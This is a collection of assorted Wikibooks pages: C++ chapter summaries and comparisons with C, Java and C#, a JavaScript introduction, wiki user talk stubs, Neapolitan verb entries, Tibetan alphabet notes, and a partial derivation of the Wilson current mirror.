File:Lightsaber tut screenshot8.jpg

Licensing
/Images

title: File:Lightsaber tut screenshot8.jpg


text:
C++ Programming/Chapter Advanced Features Print version

|4


text:
C++ Programming/Chapter Beyond the Standard Print version

|5


text:
C++ Programming/Chapters/Fundamentals/Summary

 * 1) The code - includes list of recognized keywords.
 * 2) File organization
 * 3) Statements
 * 4) Coding style conventions
 * 5) Documentation
 * 6) Scope and namespaces
 * 7) Compiler
 * 8) Preprocessor  - includes the standard headers.
 * 9) Linker
 * 10) Variables and storage - locality, scope and visibility, including source examples.
 * 11) Type
 * 12) Operators - precedence order and composition,, assignment, , new, delete, [] (arrays), * (pointers) and & (references).
 * 13) Logical operators  - the && (and), || (or), and ! (not).
 * 14) Conditional operator  - the ?:
 * 15) Type casting - Automatic, explicit and advanced type casts.
 * 16) Flow of control - Conditionals (if, if-else, switch), loop iterations (while, do-while, ) and.
 * 17) Functions - Introduction (including main), argument passing, returning values, recursive functions, pointers to functions and function overloading.
 * 18) Standard C Library  - I/O, string and character, math, time and date, memory and other standard C functions
 * 19) Debugging - Finding, fixing, preventing bugs and using debugging tools.

|2


text:
User:Completely gratuitous skunk

See w:User:I do not exist. - ∅  ( ∅ ), 20:37, 27 March 2007 (UTC)

title: User:Completely gratuitous skunk


text:
User talk:Completely gratuitous skunk

 * Please contact me by email or leave a message on w:User talk:I do not exist. - ∅  ( ∅ ), 20:30, 27 March 2007 (UTC)

title: User talk:Completely gratuitous skunk


text:
Advanced Interactive Media/Interactive Team/Other Topics

/Hierarchy of Navigation/


text: Advanced Interactive Media/Interactive Team/Other Topics/Hierarchy of Navigation


text:
Advanced Interactive Media/Interactive Team/Job Description

It is the main goal and objective of the Interactive Team to assemble the core of the project in Director once all media is captured and edited. To put it basic terms, once the pieces are gathered, it is the job of the Interactive Team to assemble them and add the coding and effects needed to create the immersive multimedia experience. Once this is created, the project will undergo a process of debugging followed by fixing those errors. Once the final product is polished, it will be authored in a format that adheres to the medium of playback.


text:
C++ Programming/Programming Languages/Comparisons/C

C 89/99
C was essentially the core language of C++ when Bjarne Stroustrup decided to create a "better C". Many of the syntax conventions and rules still hold true, so we can even state that C was a subset of C++. Most recent C++ compilers can also compile C code, taking into consideration the small incompatibilities, since C99 and C++ 2003 are not compatible any more. You can also check more information about the C language on the C Programming Wikibook.

C++ as defined by the ANSI standard in 1998 (called C++98 at times) is very nearly, but not quite, a superset of the C language as it was defined by its first ANSI standard in 1989 (known as C89). There are a number of ways in which C++ is not a strict superset, in the sense that not all valid C89 programs are valid C++ programs, but the process of converting C code to valid C++ code is fairly trivial (avoiding reserved words, getting around the stricter C++ type checking with casts, declaring every called function, and so on).

In 1999, C was revised and many new features were added to it. As of 2004, most of these new "C99" features are not in C++. Some (including Stroustrup himself) have argued that the changes brought about in C99 have a philosophy distinct from what C++98 adds to C89, and hence these C99 changes are directed towards increasing incompatibility between C and C++.

The merging of the languages seems a dead issue, as coordinated actions by the C and C++ standards committees leading to a practical result did not happen and it can be said that the languages started to diverge. Some of the differences are:
 * C++ supports function overloading, this is absent in C, especially in C89 (it can be argued, depending on how loosely function overloading is defined, that it is possible to some degree to emulate these capabilities using the C99 standard).
 * C++ supports inheritance and polymorphism.
 * C++ adds keyword class, but keeps struct from C, with compatible semantics.
 * C++ supports access control for class members.
 * C++ supports generic programming through the use of templates.
 * C++ extends the C89 standard library with its own standard library.
 * C++ and C99 offer different complex number facilities.
 * C++ has bool and wchar_t as primitive types, while in C they are typedefs.
 * C++ comparison operators returns bool, while C returns int.
 * C++ supports overloading of operators.
 * C++ character constants have type char, while C character constants have type int.
 * C++ has specific cast operators (,, and ).
 * C++ adds mutable keyword to address the imperfect match between physical and logical constness.
 * C++ extends the type system with references.
 * C++ supports member functions, constructors and destructors for user-defined types to establish invariants and to manage resources.
 * C++ supports runtime type identification (RTTI), via typeid and.
 * C++ includes exception handling.
 * C++ has std::vector as part of its standard library instead of variable-length arrays as in C.
 * C++ treats operator as compile time operation, while C allows it be a runtime operation.
 * C++ has new and delete operators, while C uses malloc and free library functions.
 * C++ supports object-oriented programming without extensions.
 * C++ does not require use of macros, unlike C, that uses them for careful information-hiding and abstraction (especially important for C code portability).
 * C++ supports per-line comments denoted by //. (C99 started official support for this comment system, and most compilers support this as an extension.)
 * C++ keyword is semantically different to C's implementation.

Choosing C or C++
It is fairly common to find someone recommending the use of C instead of C++ (or vice versa), or complaining about some features of these languages. There is no decisive reason to prefer one language over the other in general. Most scientific studies that attempt to measure programmer productivity as a function of programming language rank C and C++ as essentially equal. C may be a better choice for some situations, for example kernel programming, like hardware drivers, or a relational database, which do not lend themselves well to object oriented programming. Another consideration is that C compilers are more ubiquitous so C programs can run on more platforms. Although both languages are still evolving, any new features added still maintain a high level of compatibility with old code, making the use of those new constructs a programmer's decision. It is not uncommon to establish rules in a project to limit the use of parts of a language (such as RTTI, exceptions, or virtual-functions in inner loops), depending on the proficiency of the programmers or the needs of the project. It is also common for new hardware to support lower level languages first. Due to C being simpler and lower level than C++, it is easier to check and comply with industry guidelines. Another benefit of C is that it is easier for the programmer to do low level optimizations, though most C++ compilers can guarantee nearly perfect optimizations automatically.

Ultimately it is the programmer's choice to decide what tool is the best for the job. It would be hard to justify selecting C++ for a project if the available programmers only know C. Even though in the reverse case it might be expected for a C++ programmer to produce functional C code, the mindset and experience needed are not the same. The same rationale is valid for C programmers and ASM. This is due to the close relations that exist in the language's structure and historical evolution.

One might think that using only the C subset of C++ compiled with a C++ compiler is the same as just using C, but in reality it can generate slightly different results depending on the compiler used.


text:
C++ Programming/Programming Languages/Comparisons/Java

The Java programming language and C++ share many common traits. A comparison of the two languages follows here. For a more in-depth look at Java, see the Java Programming WikiBook.

Java
Java was initially created to support network computing on embedded systems. Java was designed to be extremely portable, secure, multi-threaded and distributed, none of which were design goals for C++. Java has a syntax familiar to C programmers, but direct compatibility with C was not maintained. Java was also specifically designed to be simpler than C++, but continues to evolve above that simplification.

During the decade between 1999 and 2009, especially in the part of the programming industry dedicated to enterprise solutions, “Coffee-based” languages, which rely on "virtual machines" that are familiar in Smalltalk, grew in prominence. This was a trade between performance and productivity, something that made perfect sense at the time where computing power and the need of simplified and more streamlined language that permitted not only easy adoption but a lower learning curve. There is enough similitude between the languages that the proficient C++ programmers can easily adapt to Java, that is still today in ways less complex and even in comparison more consistent in the adopted paradigms than C++.

This shift in interest has however decreased, mostly due to the evolution of the languages. C++ and Java evolution has merged much of the gap about the problems and limitations of both languages, the software requirements today have also shifted and fragmented more. Now we have specific requirements for mobile, data-center and desktop computing this makes the programming language selection an even more central issue.

 * {| class="wikitable"

!                             !! C++                            !! Java
 * Compatibility                || backwards compatible, including C          ||| backwards compatibility with previous versions
 * Focus                        || execution efficiency                 ||| developer productivity
 * Freedom                      || trusts the programmer                ||| imposes some constraints to the programmer
 * Memory Management            || arbitrary memory access possible     ||| memory access only through objects
 * Code                         || concise expression                   ||| explicit operation
 * Type Safety || type casting is restricted greatly      ||| only compatible types can be cast
 * Programming Paradigm         || procedural or object-oriented||| object-oriented
 * Operators                    || operator overloading             ||| meaning of operators immutable
 * Preprocessor                 || yes                                     ||| no
 * Main Advantage               || powerful capabilities of language    ||| feature-rich, easy to use standard library
 * }
 * Type Safety || type casting is restricted greatly      ||| only compatible types can be cast
 * Programming Paradigm         || procedural or object-oriented||| object-oriented
 * Operators                    || operator overloading             ||| meaning of operators immutable
 * Preprocessor                 || yes                                     ||| no
 * Main Advantage               || powerful capabilities of language    ||| feature-rich, easy to use standard library
 * }
 * Preprocessor                 || yes                                     ||| no
 * Main Advantage               || powerful capabilities of language    ||| feature-rich, easy to use standard library
 * }
 * }

Differences between C++ and Java are:
 * C++ parsing is somewhat more complicated than with Java; for example,  is a sequence of comparisons if Foo is a variable, but it creates an object if Foo is the name of a class template.
 * C++ allows level constants, variables, and functions. All such Java declarations must be inside a class or interface.
 * in C++ indicates data to be 'read-only,' and is applied to types.  in Java indicates that the variable is not to be reassigned. For basic types such as   vs   these are identical, but for complex classes, they are different.
 * C++ didn't support constructor delegation until the C++11 standard, and only very recent compilers support this.
 * C++ generates machine code that runs on the hardware, Java generates bytecode that runs on a virtual machine so with C++ you have greater power at the cost of portability.
 * C++, int main is a function by itself, without a class.
 * C++ access specification (public, private) is done with labels and in groups.
 * C++ access to class members default to private, in Java it is package access.
 * C++ classes declarations end in a semicolon.
 * C++ lacks language level support for garbage collection while Java has built-in garbage collection to handle memory deallocation.
 * C++ supports statements; Java does not, but its labeled break and labeled continue statements provide some structured -like functionality. In fact, Java enforces structured control flow, with the goal of code being easier to understand.
 * C++ provides some low-level features that Java lacks. In C++, pointers can be used to manipulate specific memory locations, a task necessary for writing low-level operating system components. Similarly, many C++ compilers support inline assembler. In Java, assembly code can still be accessed as libraries, through the Java Native Interface. However, there is significant overhead for each call.
 * C++ allows a range of implicit conversions between native types, and also allows the programmer to define implicit conversions involving compound types. However, Java only permits widening conversions between native types to be implicit; any other conversions require explicit cast syntax. C++11 disallows narrowing conversions from initializer lists.
 * A consequence of this is that although loop conditions (,  and the exit condition in ) in Java and C++ both expect a boolean expression, code such as   will cause a compile error in Java because there is no implicit narrowing conversion from int to boolean. This is handy if the code were a typo for  , but the need for an explicit cast can add verbosity when statements such as   are translated from Java to C++.
 * For passing parameters to functions, C++ supports both true pass-by-reference and pass-by-value. As in C, the programmer can simulate by-reference parameters with by-value parameters and indirection. In Java, all parameters are passed by value, but object (non-primitive) parameters are reference values, meaning indirection is built-in.
 * Generally, Java built-in types are of a specified size and range; whereas C++ types have a variety of possible sizes, ranges and representations, which may even change between different versions of the same compiler, or be configurable via compiler switches.
 * In particular, Java characters are 16-bit Unicode characters, and strings are composed of a sequence of such characters. C++ offers both narrow and wide characters, but the actual size of each is platform dependent, as is the character set used. Strings can be formed from either type.
 * The rounding and precision of floating point values and operations in C++ is platform dependent. Java provides a strict floating-point model that guarantees consistent results across platforms, though normally a more lenient mode of operation is used to allow optimal floating-point performance.
 * In C++, pointers can be manipulated directly as memory address values. Java does not have pointers—it only has object references and array references, neither of which allow direct access to memory addresses. In C++ one can construct pointers to pointers, while Java references only access objects.
 * In C++ pointers can point to functions or member functions (function pointers or functors). The equivalent mechanism in Java uses object or interface references. C++11 has library support for function objects.
 * C++ features programmer-defined operator overloading. The only overloaded operators in Java are the " " and " " operators, which concatenate strings as well as performing addition.
 * Java features standard API support for reflection and dynamic loading of arbitrary new code.
 * Java has generics. C++ has templates.
 * Both Java and C++ distinguish between native types (these are also known as "fundamental" or "built-in" types) and user-defined types (these are also known as "compound" types). In Java, native types have value semantics only, and compound types have reference semantics only. In C++ all types have value semantics, but a reference can be created to any object, which will allow the object to be manipulated via reference semantics.
 * C++ supports multiple inheritance of arbitrary classes. Java supports multiple inheritance of types, but only single inheritance of implementation. In Java, a class can derive from only one class, but a class can implement multiple interfaces.
 * Java explicitly distinguishes between interfaces and classes. In C++ multiple inheritance and pure virtual functions makes it possible to define classes that function just as Java interfaces do.
 * Java has both language and standard library support for multi-threading. The  keyword in Java provides simple and secure mutex locks to support multi-threaded applications. C++11 provides similar capabilities. While mutex lock mechanisms are available through libraries in previous versions of C++, the lack of language semantics makes writing thread safe code more difficult and error prone.

Memory management

 * Java requires automatic garbage collection. Memory management in C++ is usually done by hand, or through smart pointers. The C++ standard permits garbage collection, but does not require it; garbage collection is rarely used in practice. When permitted to relocate objects, modern garbage collectors can improve overall application space and time efficiency over using explicit deallocation.
 * C++ can allocate arbitrary blocks of memory. Java only allocates memory through object instantiation. (Note that in Java, the programmer can simulate allocation of arbitrary memory blocks by creating an array of bytes. Still, Java arrays are objects.)
 * Java and C++ use different idioms for resource management. Java relies mainly on garbage collection, while C++ relies mainly on the RAII (Resource Acquisition Is Initialization) idiom. This is reflected in several differences between the two languages:
 * In C++ it is common to allocate objects of compound types as local stack-bound variables that are destructed when they go out of scope. In Java compound types are always allocated on the heap and collected by the garbage collector (except in virtual machines that use escape analysis to convert heap allocations to stack allocations).
 * C++ has destructors, while Java has finalizers. Both are invoked prior to an object's deallocation, but they differ significantly. A C++ object's destructor must be implicitly (in the case of stack-bound variables) or explicitly invoked to deallocate the object. The destructor executes synchronously at the point in the program at which the object is deallocated. Synchronous, coordinated uninitialization and deallocation in C++ thus satisfy the RAII idiom. In Java, object deallocation is implicitly handled by the garbage collector. A Java object's finalizer is invoked asynchronously some time after it has been accessed for the last time and before it is actually deallocated, which may never happen. Very few objects require finalizers; a finalizer is only required by objects that must guarantee some clean up of the object state prior to deallocation—typically releasing resources external to the JVM. In Java safe synchronous deallocation of resources is performed using the try/finally construct.
 * In C++ it is possible to have a dangling pointer – a reference to an object that has been destructed; attempting to use a dangling pointer typically results in program failure. In Java, the garbage collector won't destruct a referenced object.
 * In C++ it is possible to have an object that is allocated, but unreachable. An unreachable object is one that has no reachable references to it. An unreachable object cannot be destructed (deallocated), and results in a memory leak. By contrast, in Java an object will not be deallocated by the garbage collector until it becomes unreachable (by the user program). (Note: weak references are supported, that work with the Java garbage collector to allow for different strengths of reachability.) Garbage collection in Java prevents many memory leaks, but leaks are still possible under some circumstances.

Libraries

 * C++ standard library provides a limited set of basic and relatively general purpose components. Java has a considerably larger standard library. This additional functionality is available for C++ by (often free) third party libraries, but third party libraries do not provide the same ubiquitous cross-platform functionality as standard libraries.
 * C++ is mostly backward compatible with C, and C libraries (such as the APIs of most operating systems) are directly accessible from C++. In Java, the richer functionality of its standard library provides cross-platform access to many features typically only available in platform-specific libraries. Direct access from Java to native operating system and hardware functions requires the use of the Java Native Interface.

Runtime

 * C++ is normally compiled directly to machine code that is then executed directly by the operating system. Java is normally compiled to byte-code that the Java virtual machine (JVM) then either interprets or JIT compiles to machine code and then executes.
 * Due to the lack of constraints in the use of some C++ language features (e.g. unchecked array access, raw pointers), programming errors can lead to low-level buffer overflows, page faults, and segmentation faults. The Standard Template Library, however, provides higher-level abstractions (like vector, list and map) to help avoid such errors. In Java, such errors either simply cannot occur or are detected by the JVM and reported to the application in the form of an exception.
 * In Java, bounds checking is implicitly performed for all array access operations. In C++, array access operations on native arrays are not bounds-checked, and bounds checking for random-access element access on standard library collections like std::vector and std::deque is optional.

Miscellaneous

 * Java and C++ use different techniques for splitting up code in multiple source files. Java uses a package system that dictates the file name and path for all program definitions. In Java, the compiler imports the executable class files. C++ uses a header file source code inclusion system for sharing declarations between source files.
 * Templates and macros in C++, including those in the standard library, can result in duplication of similar code after compilation. Second, dynamic linking with standard libraries eliminates binding the libraries at compile time.
 * C++ compilation features a textual preprocessing phase, while Java does not. Java supports many optimizations that mitigate the need for a preprocessor, but some users add a preprocessing phase to their build process for better support of conditional compilation.
 * In Java, arrays are container objects that you can inspect the length of at any time. In both languages, arrays have a fixed size. Further, C++ programmers often refer to an array only by a pointer to its first element, from which they cannot retrieve the array size. However, C++ and Java both provide container classes (std::vector and java.util.ArrayList respectively) that are re-sizable and store their size. C++11's std::array provides fixed-size arrays with a similar efficiency to classic arrays, functions to return the size, and optional bounds-checking.
 * Java's division and modulus operators are well defined to truncate to zero. C++ does not specify whether or not these operators truncate to zero or "truncate to -infinity". -3/2 will always be -1 in Java, but a C++ compiler may either -1 or -2, depending on the platform. C99 defines division in the same fashion as Java. Both languages guarantee that   for all a and b (b != 0). The C++ version will sometimes be faster, as it is allowed to pick whichever truncation mode is native to the processor.
 * The sizes of integer types is defined in Java (int is 32-bit, long is 64-bit), while in C++ the size of integers and pointers is compiler-dependent. Thus, carefully-written C++ code can take advantage of the 64-bit processor's capabilities while still functioning properly on 32-bit processors. However, C++ programs written without concern for a processor's word size may fail to function properly with some compilers. In contrast, Java's fixed integer sizes mean that programmers need not concern themselves with varying integer sizes, and programs will run exactly the same. This may incur a performance penalty since Java code cannot run using an arbitrary processor's word size. C++11 offers types such as uint32_t with guaranteed sizes, but compilers are not forced to provide them on hardware which has no native support for the size.

Performance
Computing performance is a measure of resource consumption when a system of hardware and software performs a piece of computing work such as an algorithm or a transaction. Higher performance is defined to be 'using fewer resources'. Resources of interest include memory, bandwidth, persistent storage and CPU cycles. Because of the high availability of all but the latter on modern desktop and server systems, performance is colloquially taken to mean the least CPU cycles; which often converts directly into the least wall clock time. Comparing the performance of two software languages requires a fixed hardware platform and (often relative) measurements of two or more software subsystems. This section compares the relative computing performance of C++ and Java on common operating systems such as Windows and Linux.

Early versions of Java were significantly outperformed by statically compiled languages such as C++. This is because the program statements of these two closely related languages may compile to a small number of machine instructions with C++, while compiling into a larger number of byte codes involving several machine instructions each when interpreted by a Java JVM. For example:

While this may still be the case for embedded systems because of the requirement for a small footprint, advances in just in time (JIT) compiler technology for long-running server and desktop Java processes has closed the performance gap and in some cases given the performance advantage to Java. In effect, Java byte code is compiled into machine instructions at run time, in a similar manner to C++ static compilation, resulting in similar instruction sequences.

C++ is still faster in most operations than Java at the moment, even at low-level and numeric computation. For in-depth information you could check Performance of Java versus C++. It's a bit pro-Java but very detailed.

Comparing Imports vs Includes
There can be some confusion among C and C++ programmers about how imports work, and conversely among Java programmers, for example, about the proper use of include files. In a comparison between Symbol-table imports in modern Programming languages with the use of #includes, like in C and C++. Although, both of these techniques are solutions to the same problem, namely compiling across multiple source files, they are vastly different techniques. Since nearly all modern Compilers consist of essentially the same stages of compilation, the biggest difference can be explained by the fact that includes occur in the Lexical-analysis stage of compilation, whereas imports are not done until the semantic analysis stage.

Advantages of imports
 * Imports do not duplicate any lexical analysis effort, which generally results in faster compilation for larger projects.
 * Imports do not require splitting code into separate files for declaration/implementation.
 * Imports better facilitate distribution of Object code, rather than Source code.
 * Imports can allow circular dependencies between source files.
 * Imports implicitly carry a mechanism for resolving symbol collisions when more than one symbol table defines the same symbol.

Disadvantages of imports
 * When an importable module is altered, since there is no separation of definition and implementation, all dependent modules must be recompiled, which can entail significant compilation times in large projects.
 * Imports require a standard mechanism for defining a symbol table in object code. Whether this limitation is truly a weakness is debatable, as a standard symbol table is useful for a number of other reasons.
 * Imports require a method for discovering symbol tables at compile time (such as the classpath in Java). When, however, there exists a standard method for doing this, this is not necessarily any more complicated than specifying the locations of include files.
 * When circular dependencies are allowed, semantic analysis of several interdependent source files may need to be interleaved.
 * Unless the language includes support for Partial types, languages with imports instead of includes require all source code for a class to be in a single source file.

Advantages of includes
 * With includes, there is no interdependence between source files at the semantic analysis stage. This means that at this stage, each source file can be compiled as an independent unit.
 * Separating definition and implementation into header and source files reduce dependencies and allows recompilation of only the affected source file, and no other files, when implementation details are altered.
 * Include files, used in combination with other Preprocessor features, allow for nearly arbitrary lexical processing.
 * Although the practice is not widespread, includes can provide rudimentary support for several modern language features (such as Mixins and aspects) if the language itself does not support them.
 * Includes are not part of the syntax of the underlying language, but rather part of a preprocessor syntax. There are disadvantages to this (another language to learn), but there are also advantages. The preprocessor syntax, and in some cases include files themselves, may be shared among several different languages.

Disadvantages of includes
 * Includes and the requisite preprocessor can require more passes in the lexical-analysis stage of compilation.
 * Repeated compilation of header files included multiple times in a large project can be notoriously slow. This can be mitigated, however, through the use of Pre-compiled headers.
 * Proper use of header files, particularly declarations of global variables, can be tricky for beginners.
 * Because includes generally require the location of the included file to be specified in the source code, environment variables are often needed to provide part of the include file path. Even worse, this functionality is not supported in a standard way across all compilers.

A comparing example that compares C++ with Java exists here.


text:
C++ Programming/Programming Languages/Comparisons/C Sharp

C#
C# (pronounced "See Sharp") is a multi-purpose computer programming language catering to all development needs using Microsoft .NET Framework.

We already covered Java. C# is very similar, in that it takes the basic operators and style of C++ but forces programs to be type safe, in that it executes the code in a controlled sandbox called the virtual machine. As such, all code must be encapsulated inside an object, among other things. C# provides many additions to facilitate interaction with Microsoft's Windows, COM, and Visual Basic. C# is a ECMA and ISO standard.

C# was a response from Microsoft to the (then Sun-developed) Java language that was beginning to have a major impact in the enterprise. After their failed attempt to push J++ into the market and in legal confrontation with Sun, Microsoft shifted their focus to managed languages, even as a way to maintain the relevance of Visual Basic with a large developer base, and so with the announcement of Windows "Longhorn" project (which became Windows Vista) the push to managed languages and its integration with the Windows Operating System began, with the belief that from there on "all new Windows APIs would be managed".

Today however, Microsoft seems to have finally realized that managed languages, even looking on the adoption of Java, lack the requirements to develop an Operating System. Microsoft even started a C#-based OS to test the premise, but came to a realization that all major software projects, even utilities that come with the Windows OS, are mostly C or C++ based. Even if managed code still has a place, C and C++ have finally been accepted as the core languages of the software industry for the foreseeable future. In Windows, this is being seen as the "C++ Renaissance" after the long age of darkness that the marketing machine had engulfed developers with.

 * Some similarities between C# and C++

 * They both are Object-Oriented languages, meaning that they use classes, inheritance, and polymorphism (though with different syntaxes). This could be considered a difference here, as C# is considered a purely object-oriented language while C++ supports various other paradigms.
 * Both C# and C++ are compiled languages, meaning that source code must be converted to a binary format before it can be run.

 * Some differences between C# and C++

 * C++ compiles into machine code, whereas C# compiles to an intermediate representation which is run on the Common Language Runtime (CLR) virtual machine.
 * C# does not typically use pointers while in C++ they are used frequently. C# only permits the usage of pointers in unsafe mode.
 * C# is mostly used by Windows which is not the most convenient, but C++ can be used on any platform with no problems.
 * C++ can make stand-alone applications whereas C# cannot.
 * C# supports foreach loops but C++ does not.
 * C++ supports multiple inheritances but C# does not support multiple inheritances
 * C# has two additional modifiers besides private, public and protected which are internal and protected internal.
 * C++ is more used for application development because there is a direct interaction with hardware and better performance requirement but C# programming is mostly used in web and desktop applications which performance is not as important.
 * C++ is more used for application development because there is a direct interaction with hardware and better performance requirement but C# programming is mostly used in web and desktop applications which performance is not as important.

 * Disadvantages of C# compared to C++

 * Limitation: With C#, features like multiple inheritance from classes (C# implements a different approach called Multiple Implementation, where a class can implement more than one interface), declaring objects on the stack, deterministic destruction (allowing for RAII) and allowing default arguments as function parameters (in C# versions < 4.0) will not be available.
 * Performance (speed and size): Applications built in C# may not perform as well when compared with native C++. C# has an intrusive garbage collector, reference tracking and other overheads with some of the framework services. The .NET framework alone has a big runtime footprint (~30 Mb of memory), and requires that several versions of the framework be installed.
 * Flexibility: Due to the dependency on the .NET framework, operating system level functionality (system level APIs) is buffered by a generic set of functions that will reduce some freedoms.
 * Runtime Redistribution: Programs need to be distributed with the .NET framework (pre-Windows XP or non-Windows machines), similar to the issue with the Java language, with all the normal upgrade requirements attached.
 * Portability: The .NET complete framework is only available on the Windows OS, but there are open-source versions that provide most of the core functionality, that also support the GNU-Linux OS, like MONO and Portable.NET http://www.gnu.org/software/dotgnu/pnet.html. There are ECMA and ISO .NET standards for example for C# and the CLI extension to C++.

 * Advantages of C# compared to C++

There are several shortcomings to C++ that are resolved in C#:
 * One of the more subtle ones is the use of reference variables as function arguments. When a code maintainer is looking at C++ source code, if a called function is declared in a header somewhere, the immediate code does not provide any indication that an argument to a function is passed as a non-const reference. An argument passed by reference could be changed after calling the function whereas an argument passed by value or passed as const cannot be changed. A maintainer unfamiliar with the function and looking for the location of an unexpected value change of a variable would additionally need to examine the header file for the function in order to determine whether or not that function could have changed the value of the variable. C# insists that the ref keyword be placed in the function call (in addition to the function declaration), thereby cluing the maintainer in that the value could be changed by the function.
 * Another one is the memory management, C# runs in a virtual machine which has the ability to handle memory management but in C++ the developer needs the handle the memory themselves. C# has a garbage collector that de-allocates memory pointed by objects which are not in use.

An example comparing C++ with C# can be found here.


text:
C++ Programming/Chapter Object Oriented Programming Summary

 * 1) Structures
 * 2) Unions
 * 3) Classes (Inheritance, Member Functions, Polymorphism and this pointer)
 * 4) Abstract Classes  including Pure abstract classes (abstract types)
 * 5) Nice Class
 * 6) Operator overloading
 * 7) Standard Input/Output streams Library
 * 8) string

|3


text:
The Computer Revolution/Programming/JavaScript

What is Scripting Language?
Scripting languages (commonly called scripting programming languages or script languages) are computer programming languages that are typically interpreted and can be typed directly from a keyboard. Thus, scripts are often distinguished from programs, because programs are converted permanently into binary executable files (i.e., zeros and ones) before they are run. Scripts remain in their original form and are interpreted command-by-command each time they are run. Scripts were created to shorten the traditional edit-compile-link-run process. The name 'script' is derived from the written script of the performing arts, in which dialogue is set down to be interpreted by actors and actresses--the programs. Early script languages were often called batch languages or job control languages. Scripting languages can also be compiled, but because interpreters are simpler to write than compilers, they are interpreted more often than they are compiled.

What is JavaScript?
Java script is a compact object-based scripting language for developing client and server Internet applications. Netscape Navigator interprets JavaScript statements embedded in an HTML page, and LiveWire enables you to create server-based applications similar to Common Gateway Interface (CGI) programs. Basically JavaScript is a program that assists interactivity with HTML pages. For example: Black Board quizzes for College students. JavaScript support is built right into all the major web browsers, including Internet Explorer, Google Chrome, Firefox and Safari. Provided that the visitors to your site are using web browsers that support JavaScript (most do) and have JavaScript enabled (it is by default), then your JavaScript will run when they visit the page. There are plenty of pre-written JavaScripts that people have made available for you to plug straight into your web page. All you need to know to be able to use such scripts is how to paste the supplied code into the required places in your web page.

What can a JavaScript Do?

 * JavaScript gives HTML designers a programming tool - HTML authors are normally not programmers, but JavaScript is a     scripting language with a very simple syntax! Almost anyone can put small "snippets" of code into their HTML pages
 * JavaScript can put dynamic text into an HTML page - A JavaScript can write a variable text into an HTML page
 * JavaScript can react to events - A JavaScript can be set to execute when something happens, like when a page has finished loading or when a user clicks on an HTML element
 * JavaScript can read and write HTML elements - A JavaScript can read and change the content of an HTML element
 * JavaScript can be used to validate data - A JavaScript can be used to validate form data before it is submitted to a server. This saves the server from extra processing
 * JavaScript can be used to detect the visitor's browser - A JavaScript can be used to detect the visitor's browser, and - depending on the browser - load another page specifically designed for that browser
 * JavaScript can be used to create cookies - A JavaScript can be used to store and retrieve information on the visitor's computer

Reference: http://www.w3schools.com/js/js_intro.asp retrieved March 27, 2007

To better handle Web page interactivity, a new set of Web standards-called AJAX (Asynchronous JavaScript and XML) has been developed. AJAX is used on many Web sites. AJAX is used on Google Maps, Gmail & many other Web applications. It creates a faster and more efficient interactive Web applications. For AJAX to be faster than just JavaScript when you reload a Web page, AJAX applications request only new data and add the data to the existing Web page. By doing this, when it’s refreshed less content needs to be downloaded each time the Web page changes. This is how AJAX saves time.

Summary of JavaScript
Reference: http://www.mcli.dist.maricopa.edu/show/interact/js.html, retrieved March 27, 2007

Common JavaScript Syntax
http://www.ilovejackdaniels.com/javascript_cheat_sheet.pdf


text:
C++ Programming/Chapter Advanced Features Summary

 * 1) Templates
 * 2) Template Meta-Programming (TMP)
 * 3) Standard Template Library (STL)
 * 4) Smart Pointers
 * 5) Exception Handling
 * 6) Run-Time Type Information (RTTI)

|4


text:
C++ Programming/Chapters/C++/Summary

 * 1) Introducing C++
 * 2) Programming languages
 * 3) Programming paradigms  - the versatility of C++ as a multi-paradigm language, concepts of object-oriented programming (objects and classes, inheritance, polymorphism).
 * 4) Comparisons - to other languages, relation to other computer science constructs and idioms.
 * 5) with C
 * 6) with Java
 * 7) with C#
 * 8) with Managed C++ (C++/CLI)
 * 9) with D

title: C++ Programming/Chapters/C++/Summary


text:
User talk:66.215.253.8

Thanks for experimenting with Wikibooks. Your test worked, and has now been removed. Please use Sandbox for any other tests you want to do, since testing material in modules will normally be removed quickly. Please see the welcome page if you would like to learn more about contributing to our project. Thanks. -- Jim Thomas (aka Jomegat) 04:33, 28 March 2007 (UTC)

title: User talk:66.215.253.8


text:
Template:Nap-conj-à

/Templates

title: Template:Nap-conj-à


text:
Neapolitan/501 Neapolitan verbs/abballà

(intransitive) to dance

title: Neapolitan/501 Neapolitan verbs/abballà


text:
Neapolitan/501 Neapolitan verbs/accattà

(transitive) to buy

title: Neapolitan/501 Neapolitan verbs/accattà


text:
Tibetan/Alphabet

Bod yig

When learning a new language, it's always a good idea to begin by knowing how to read and write. The Tibetan script has 30 consonants. The vowels are a, i, u, e, o. As in other Indic scripts, each consonant letter includes an inherent a, and the other vowels are indicated by marks; thus ka,  ki,  ku,  ke,  ko. There is no distinction between long and short vowels in written Tibetan, except in loanwords, especially transcribed from the Sanskrit.

Syllables are separated by a tseg ་; since many Tibetan words are monosyllabic, this mark often functions almost as a space. Spaces are not used to divide words.

Although some Tibetan dialects are tonal, because the language had no tone at the time of the scripts invention, tones are not written. However, since tones developed from segmental features they can usually be correctly predicted by the spelling of Tibetan words.

The h or apostrophe (’) usually signifies aspiration, but in the case of zh and sh it signifies palatalization and the single letter h represents a voiceless glottal fricative.

Old Tibetan had no letter w, which was instead a digraph for 'w.

The Sanskrit "cerebral" (retroflex) consonants are represented by mirror forms of the letters ta, tha, da, na, and sha to give   (Ta),   (Tha),   (Da),   (Na), and   (Sa).

As in other Indic scripts, clustered consonants are often stacked vertically. Unfortunately, some fonts and applications do not support this behavior for Tibetan, so these examples may not display properly; you might have to download a font such as Tibetan Machine Uni.

W, r, and y change form when they are beneath another consonant; thus kwa;  kra;  kya. R also changes form when it is above most other consonants; thus rka. An exception is the cluster rnya.

title: Tibetan/Alphabet


text:
Analogue Electronics/Current Mirrors/Wilson

The Wilson Current Mirror
The Wilson current mirror, named after engineer George Wilson, who invented the arrangement, is widely regarded as an ingenious and elegant solution to the finite-β error of the simple BJT current mirror.

In order for it to function correctly, the following conditions need to be met:
 * 1) Q1 and Q2 are be matched, so their collector currents are equal for the same base current
 * 2) All three transistors have the same common-emitter current gain, β

As Q1 and Q2 have the same emitter voltages (ground) and the same base voltages (as they are connected), the base currents are the same. We will term this current IB:

 * $$I_{B1}=I_{B2}=I_B \,$$

From Condition 1 above, we can say that the collector currents in Q1 and Q2 are identical (IC):

 * $$I_{C1}=I_{C2}=I_C \,$$

Now, from the basic BJT equations, we know that the base current of Q3 is given by:

 * $$I_{B3}=\frac{I_{O}} {\beta} $$

Similarly, the emitter current is also known:

 * $$I_{E3}=\frac{\beta+1} {\beta}I_{O} $$

It is obvious from the diagram and KCL, that the following is true:

 * $$I_{E3}=I_{C2}+I_{B1}+I_{B2}\,$$

Substituting from equations W1 and W2, we get

 * $$I_{E3}=I_{C}+2I_{B}\,$$

